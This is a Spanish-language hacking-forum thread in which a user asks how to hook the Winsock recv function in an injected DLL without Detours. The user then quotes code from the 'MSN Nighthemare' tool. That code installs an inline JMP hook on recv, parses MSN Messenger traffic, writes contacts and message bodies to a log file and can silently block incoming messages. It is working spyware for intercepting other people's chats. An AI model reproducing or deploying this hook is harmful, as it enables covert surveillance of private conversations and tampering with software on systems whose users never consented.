Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: while en 5 Octubre 2010, 01:31 am



Título: hook a recv sin ms detours?
Publicado por: while en 5 Octubre 2010, 01:31 am
Hola, alguien podria poner algun ejemplo muy brebe y sencillo de como hacer hook a recv sin detours?

Quiero en una dll meter en un thread:
while(true)
{

recv(num,buf,sizeof(buf), 0);

if((*(unsigned short*)buf)==0x7245)
{
algo
break;
}

}

y inyectarla a un programa, asi poder capturar todos los paquetes que reciba la aplicación sin parar, de forma paralela, y actuar justo sobre el que quiero (0x7245)

Saludos y muchas gracias!


Título: Re: hook a recv sin ms detours?
Publicado por: Jaixon Jax en 5 Octubre 2010, 19:01 pm
  Busca el MSN Nighthemare de mazard alli hay un buen ejemplo de hook a recv ...


Título: Re: hook a recv sin ms detours?
Publicado por: while en 6 Octubre 2010, 23:25 pm
Lo estuve viendo hace unos dias, y por eso buscaba algo sencillo, para ver como hace para hookear.

Código:
void HookearRec(void);

int WINAPI recHook(SOCKET s,char *buf,int len,int flags);
int (__stdcall *pBuffrec)(SOCKET s,char *buf,int len,int flags);;


void HookearRec(void)
{
DWORD ProteVieja;
BYTE *DirApi;
BYTE *DirYo;
DirApi=(BYTE *) GetProcAddress(GetModuleHandle(Libreria),"recv");

if ((Buffer=(BYTE *)malloc(NumBytes+5))==NULL) return;
if (VirtualProtect((void *) Buffer,NumBytes+5,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;

memcpy(Buffer,DirApi,NumBytes);

Buffer+=NumBytes;
*Buffer=0xE9;
Buffer++;
*((signed int *) Buffer)=DirApi-Buffer+(NumBytes-5)+1;


pBuffrec = (int (__stdcall *)(SOCKET,char*,int,int)) (Buffer-NumBytes-1);

if (VirtualProtect((void *) DirApi,NumBytes,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;

DirYo=(BYTE *) recHook;
*DirApi=0xE9;
DirApi++;
*((signed int *) DirApi)=DirYo-DirApi-4;

FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}

int WINAPI recHook(SOCKET s,char *buf,int len,int flags)
{
int res;
char Escric[1024];
int payl;
FILE *Xat;
char cIRO[1024];
char *Ini;
char *Ini2;
int trobat=0;



res=pBuffrec(s,buf,len,flags);


if ((Ini=strstr(buf,"IRO "))!=NULL && strstr(buf,"@")!=NULL)
{
trobat=0;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini2=strchr(Ini,' ');
*Ini2=0;
strcpy(cIRO,Ini);
*Ini2=' ';

for (int j=0;j<=cntscks;j++)
{
if (strcmp(cIRO,msnFuckit[j].correu)==0) trobat=j;
}
if (trobat==0)
{
cntscks++;
msnFuckit[cntscks].sckMSN=s;
strcpy(msnFuckit[cntscks].correu,cIRO);
}else msnFuckit[trobat].sckMSN=s;
}

if (buf!=NULL && strcmp(buf,"")!=0 && (Ini=strstr(buf,"MSG"))!=NULL && strstr(buf,"Content-Type: text/plain")!=NULL)
{
Ini=strchr(Ini,'@');
Ini2=Ini;
while (*Ini2!=' ') Ini2--;
Ini2++;
Ini=strchr(Ini2,' ');
*Ini=0;
strcpy(Escric,Ini2);
*Ini=' ';

Xat=fopen(xatFile,"a");
fputs("\r\n",Xat);
fputs(Escric,Xat);
fputs(" dice:",Xat);

Ini2=strchr(Ini,'\r');
Ini=Ini2;
while (*Ini!=' ')Ini--;
Ini++;
*Ini2=0;
payl=atoi(Ini);
*Ini2='\r';
Ini2+=2;
for (int k=0;k<payl;k++) Escric[k]=Ini2[k];
Escric[payl]=0;
Ini2=strstr(Escric,"\r\n\r\n");
Ini2+=4;

fputs("\r\n",Xat);
fputs(Ini2,Xat);
fclose(Xat);

if (blockrec)
{
strcpy(buf,"\0");
len=0;
return 0;
}
}


return (res);
}


Conoces algun otro sencillo y conciso?